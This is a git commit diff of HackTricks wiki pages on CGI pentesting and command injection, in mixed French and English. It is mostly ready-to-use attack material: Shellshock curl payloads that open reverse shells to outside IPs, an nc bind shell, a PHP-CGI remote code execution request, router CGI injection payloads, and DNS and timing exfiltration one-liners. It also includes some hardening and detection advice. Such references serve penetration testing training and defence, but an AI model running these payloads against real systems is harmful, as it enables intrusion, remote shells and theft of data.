maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/network-services-pentesting/pentesting-web/cgi.md',

Browse Source
This commit is contained in:
Translator 2025-10-04 09:49:33 +00:00
parent 639c6ef339
commit d77054e8de
2 changed files with 100 additions and 33 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

77
src/network-services-pentesting/pentesting-web/cgi.md
View File

@ -1,27 +1,30 @@
# CGI Pentesting
{{#include ../../banners/hacktricks-training.md}}
# Information
Les **scripts CGI sont des scripts perl**, donc, si vous avez compromis un serveur capable d'exécuter des _**.cgi**_ scripts, vous pouvez **télécharger un shell inversé perl** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **changer l'extension** de **.pl** à **.cgi**, donner **les permissions d'exécution** \(`chmod +x`\) et **accéder** au shell inversé **depuis le navigateur web** pour l'exécuter.
Pour tester les **vulnérabilités CGI**, il est recommandé d'utiliser `nikto -C all` \(et tous les plugins\)
## Informations
# **ShellShock**
The **CGI scripts are perl scripts**, so, if you have compromised a server that can execute _**.cgi**_ scripts you can **upload a perl reverse shell** (`/usr/share/webshells/perl/perl-reverse-shell.pl`), **change the extension** from **.pl** to **.cgi**, give **execute permissions** (`chmod +x`) and **access** the reverse shell **from the web browser** to execute it.
In order to test for **CGI vulns** it's recommended to use `nikto -C all` (and all the plugins)
**ShellShock** est une **vulnérabilité** qui affecte le shell de ligne de commande **Bash** largement utilisé dans les systèmes d'exploitation basés sur Unix. Elle cible la capacité de Bash à exécuter des commandes transmises par des applications. La vulnérabilité réside dans la manipulation des **variables d'environnement**, qui sont des valeurs nommées dynamiques qui impactent le fonctionnement des processus sur un ordinateur. Les attaquants peuvent exploiter cela en attachant **du code malveillant** aux variables d'environnement, qui est exécuté lors de la réception de la variable. Cela permet aux attaquants de compromettre potentiellement le système.
## **ShellShock**
En exploitant cette vulnérabilité, la **page pourrait générer une erreur**.
**ShellShock** est une **vulnérabilité** qui affecte l'usage répandu du shell en ligne de commande **Bash** sur les systèmes d'exploitation Unix. Elle exploite la capacité de Bash à exécuter des commandes transmises par des applications. La vulnérabilité réside dans la manipulation des **variables d'environnement**, qui sont des valeurs nommées dynamiques influençant l'exécution des processus sur une machine. Les attaquants peuvent exploiter cela en attachant du **code malveillant** aux variables d'environnement, qui est exécuté lors de la réception de la variable. Cela permet potentiellement de compromettre le système.
Vous pourriez **trouver** cette vulnérabilité en remarquant qu'elle utilise une **ancienne version d'Apache** et **cgi_mod** \(avec le dossier cgi\) ou en utilisant **nikto**.
En exploitant cette vulnérabilité, la **page peut renvoyer une erreur**.
## **Test**
Vous pouvez **trouver** cette vulnérabilité en constatant qu'elle utilise une **ancienne version d'Apache** et **cgi_mod** (avec un dossier cgi) ou en utilisant **nikto**.
La plupart des tests consistent à faire écho de quelque chose et à s'attendre à ce que cette chaîne soit renvoyée dans la réponse web. Si vous pensez qu'une page peut être vulnérable, recherchez toutes les pages cgi et testez-les.
### **Test**
La plupart des tests consistent à utiliser echo pour afficher quelque chose et s'attendre à ce que cette chaîne soit renvoyée dans la réponse web. Si vous pensez qu'une page peut être vulnérable, recherchez toutes les pages cgi et testez-les.
**Nmap**
```bash
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
```
## **Curl \(réfléchi, aveugle et hors bande\)**
## **Curl \(reflected, blind and out-of-band\)**
```bash
# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
@ -34,7 +37,7 @@ curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http:
```bash
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
```
## Exploiter
### Exploit
```bash
#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
@ -48,23 +51,57 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt
> set rhosts 10.1.2.11
> run
```
# **Proxy \(MitM pour les requêtes du serveur Web\)**
## Centralized CGI dispatchers (routage d'un endpoint unique via des paramètres sélecteurs)
CGI crée une variable d'environnement pour chaque en-tête dans la requête http. Par exemple : "host:web.com" est créé comme "HTTP_HOST"="web.com"
De nombreuses interfaces web embarquées multiplexent des dizaines d'actions privilégiées derrière un seul endpoint CGI (par exemple, `/cgi-bin/cstecgi.cgi`) et utilisent un paramètre sélecteur tel que `topicurl=<handler>` pour router la requête vers une fonction interne.
Comme la variable HTTP_PROXY pourrait être utilisée par le serveur web. Essayez d'envoyer un **en-tête** contenant : "**Proxy: &lt;IP_attacker&gt;:&lt;PORT&gt;**" et si le serveur effectue une requête pendant la session. Vous pourrez capturer chaque requête faite par le serveur.
Méthodologie pour exploiter ces routeurs :
# Ancien PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
- Enumérer les noms de handlers : scrape JS/HTML, brute-force with wordlists, or unpack firmware and grep for handler strings used by the dispatcher.
- Tester l'accessibilité sans authentification : certains handlers oublient les auth checks et sont directement appelables.
- Se concentrer sur les handlers qui invoquent des utilitaires système ou touch files ; les validateurs faibles bloquent souvent seulement quelques caractères et peuvent manquer le tiret initial `-`.
Fondamentalement, si cgi est actif et que php est "ancien" \(&lt;5.3.12 / &lt; 5.4.2\) vous pouvez exécuter du code.
Pour exploiter cette vulnérabilité, vous devez accéder à un fichier PHP du serveur web sans envoyer de paramètres \(surtout sans envoyer le caractère "="\).
Ensuite, pour tester cette vulnérabilité, vous pourriez accéder par exemple à `/index.php?-s` \(notez le `-s`\) et **le code source de l'application apparaîtra dans la réponse**.
Formes d'exploit génériques :
```http
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Ensuite, pour obtenir **RCE**, vous pouvez envoyer cette requête spéciale : `/?-d allow_url_include=1 -d auto_prepend_file=php://input` et le **code PHP** à exécuter dans le **corps de la requête. Exemple :**
# 1) Option/flag injection (no shell metacharacters): flip argv of downstream tools
topicurl=<handler>&param=-n
# 2) Parameter-to-shell injection (classic RCE) when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;
# 3) Validator bypass → arbitrary file write in file-touching handlers
topicurl=setWizardCfg&<crafted_fields>=/etc/init.d/S99rc
```
Détection et durcissement :
- Surveiller les requêtes non authentifiées vers des endpoints CGI centralisés avec `topicurl` défini sur des handlers sensibles.
- Marquer les paramètres qui commencent par `-` (tentatives d'injection d'options argv).
- Vendors : imposer l'authentification sur tous les handlers modifiant l'état, valider en utilisant des allowlists/types/longueurs stricts, et ne jamais passer des chaînes contrôlées par l'utilisateur comme flags en ligne de commande.
## Ancien PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
En gros si CGI est actif et PHP est "ancien" \(&lt;5.3.12 / &lt; 5.4.2\) vous pouvez exécuter du code.
Pour exploiter cette vulnérabilité, vous devez accéder à un fichier PHP du serveur web sans envoyer de paramètres \(en particulier sans envoyer le caractère "="\).
Ensuite, pour tester cette vulnérabilité, vous pouvez accéder par exemple à `/index.php?-s` \(notez le `-s`\) et **le code source de l'application apparaîtra dans la réponse**.
Puis, pour obtenir **RCE** vous pouvez envoyer cette requête spéciale : `/?-d allow_url_include=1 -d auto_prepend_file=php://input` et le **code PHP** à exécuter dans le **corps de la requête**.
Exemple :
```bash
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
```
**Plus d'infos sur la vulnérabilité et les exploits possibles :** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
**Plus d'infos sur la vuln et les exploits possibles :** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
## **Proxy \(MitM to Web server requests\)**
CGI crée une variable d'environnement pour chaque en-tête dans la requête http. Par exemple : "host:web.com" est créé comme "HTTP_HOST"="web.com"
Comme la variable HTTP_PROXY pourrait être utilisée par le web server, essayez d'envoyer un **header** contenant : "**Proxy: &lt;IP_attacker&gt;:&lt;PORT&gt;**" et si le serveur effectue une requête pendant la session, vous pourrez capturer chaque requête faite par le serveur.
## **References**
- [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/)
{{#include ../../banners/hacktricks-training.md}}

56
src/pentesting-web/command-injection.md
View File

@ -4,11 +4,11 @@
## Qu'est-ce que command Injection ?
Une **command injection** permet l'exécution de commandes arbitraires du système d'exploitation par un attaquant sur le serveur hébergeant une application. En conséquence, l'application et toutes ses données peuvent être entièrement compromises. L'exécution de ces commandes permet généralement à l'attaquant d'obtenir un accès non autorisé ou de prendre le contrôle de l'environnement de l'application et du système sous-jacent.
Une **command injection** permet à un attaquant d'exécuter des commandes arbitraires du système d'exploitation sur le serveur hébergeant une application. En conséquence, l'application et toutes ses données peuvent être complètement compromises. L'exécution de ces commandes permet généralement à l'attaquant d'obtenir un accès non autorisé ou de prendre le contrôle de l'environnement de l'application et du système sous-jacent.
### Contexte
Selon l'endroit **où votre entrée est injectée**, vous devrez peut-être **terminer le contexte entre guillemets** (en utilisant `"` ou `'`) avant les commandes.
Selon **l'endroit où votre entrée est injectée** vous devrez peut-être **terminer le contexte entre guillemets** (en utilisant `"` ou `'`) avant les commandes.
## Command Injection/Execution
```bash
@ -32,7 +32,7 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
```
### **Limitation** Bypasses
Si vous essayez d'exécuter des **commandes arbitraires dans une machine linux**, vous serez intéressé à lire ces **Bypasses:**
Si vous essayez d'exécuter **arbitrary commands inside a linux machine** vous serez intéressé par ces **Bypasses :**
{{#ref}}
@ -47,7 +47,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
```
### Paramètres
Voici les 25 principaux paramètres qui pourraient être vulnérables aux attaques de code injection et aux vulnérabilités RCE similaires (source: [link](https://twitter.com/trbughunters/status/1283133356922884096)):
Voici les 25 principaux paramètres qui pourraient être vulnérables à des attaques de code injection et à des vulnérabilités RCE similaires (d'après [link](https://twitter.com/trbughunters/status/1283133356922884096)):
```
?cmd={payload}
?exec={payload}
@ -77,7 +77,7 @@ Voici les 25 principaux paramètres qui pourraient être vulnérables aux attaqu
```
### Time based data exfiltration
Extraction de data : char par char
Extraction de données : caractère par caractère
```
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
@ -89,9 +89,9 @@ real 0m0.002s
user 0m0.000s
sys 0m0.000s
```
### Exfiltration de données via DNS
### DNS based data exfiltration
Basé sur l'outil de `https://github.com/HoLyVieR/dnsbin`, également hébergé sur dnsbin.zhack.ca
Basé sur l'outil disponible sur `https://github.com/HoLyVieR/dnsbin`, également hébergé sur dnsbin.zhack.ca
```
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
@ -101,12 +101,12 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
```
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
```
Outils en ligne pour vérifier la data exfiltration via DNS :
Outils en ligne pour vérifier DNS-based data exfiltration:
- dnsbin.zhack.ca
- pingb.in
### Contournement du filtrage
### Filtering bypass
#### Windows
```
@ -122,7 +122,7 @@ powershell C:**2\n??e*d.*? # notepad
### Node.js `child_process.exec` vs `execFile`
Lors de l'audit de back-ends JavaScript/TypeScript, vous rencontrerez souvent l'API Node.js `child_process`.
Lors d'un audit d'applications back-end JavaScript/TypeScript, vous rencontrerez souvent l'API Node.js `child_process`.
```javascript
// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
@ -132,7 +132,7 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay
```
`exec()` lance un **shell** (`/bin/sh -c`), donc tout caractère ayant une signification spéciale pour le shell (back-ticks, `;`, `&&`, `|`, `$()`, …) entraînera une **command injection** lorsque l'entrée utilisateur est concaténée dans la chaîne.
**Atténuation :** utilisez `execFile()` (ou `spawn()` sans l'option `shell`) et fournissez **chaque argument comme un élément séparé du tableau** afin qu'aucun shell ne soit impliqué :
**Atténuation :** utilisez `execFile()` (ou `spawn()` sans l'option `shell`) et fournissez **chaque argument comme un élément distinct du tableau** afin qu'aucun shell ne soit impliqué :
```javascript
const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
@ -140,9 +140,38 @@ execFile('/usr/bin/do-something', [
'--payload', JSON.stringify(payload)
]);
```
Cas réel : *Synology Photos* ≤ 1.7.0-0794 était exploitable via un événement WebSocket non authentifié qui plaçait des données contrôlées par l'attaquant dans `id_user`, lesquelles étaient ensuite intégrées dans un appel `exec()`, permettant une RCE (Pwn2Own Ireland 2024).
Real-world case: *Synology Photos* ≤ 1.7.0-0794 was exploitable through an unauthenticated WebSocket event that placed attacker controlled data into `id_user` which was later embedded in an `exec()` call, achieving RCE (Pwn2Own Ireland 2024).
## Liste de détection de force brute
### Argument/Option injection via leading hyphen (argv, no shell metacharacters)
Not all injections require shell metacharacters. If the application passes untrusted strings as arguments to a system utility (even with `execve`/`execFile` and no shell), many programs will still parse any argument that begins with `-` or `--` as an option. This lets an attacker flip modes, change output paths, or trigger dangerous behaviors without ever breaking into a shell.
Typical places where this appears:
- Embedded web UIs/CGI handlers that build commands like `ping <user>`, `tcpdump -i <iface> -w <file>`, `curl <url>`, etc.
- Centralized CGI routers (e.g., `/cgi-bin/<something>.cgi` with a selector parameter like `topicurl=<handler>`) where multiple handlers reuse the same weak validator.
What to try:
- Provide values that start with `-`/`--` to be consumed as flags by the downstream tool.
- Abuse flags that change behavior or write files, for example:
- `ping`: `-f`/`-c 100000` pour surcharger l'appareil (DoS)
- `curl`: `-o /tmp/x` pour écrire sur des chemins arbitraires, `-K <url>` pour charger une config contrôlée par l'attaquant
- `tcpdump`: `-G 1 -W 1 -z /path/script.sh` pour obtenir une exécution post-rotation dans des wrappers non sécurisés
- If the program supports `--` end-of-options, try to bypass naive mitigations that prepend `--` in the wrong place.
Generic PoC shapes against centralized CGI dispatchers:
```
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded
# Flip options in a downstream tool via argv injection
topicurl=<handler>&param=-n
# Unauthenticated RCE when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;
```
## Liste de détection Brute-Force
{{#ref}}
@ -157,5 +186,6 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_inject
- [Extraction of Synology encrypted archives – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
- [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php)
- [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
- [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/)
{{#include ../banners/hacktricks-training.md}}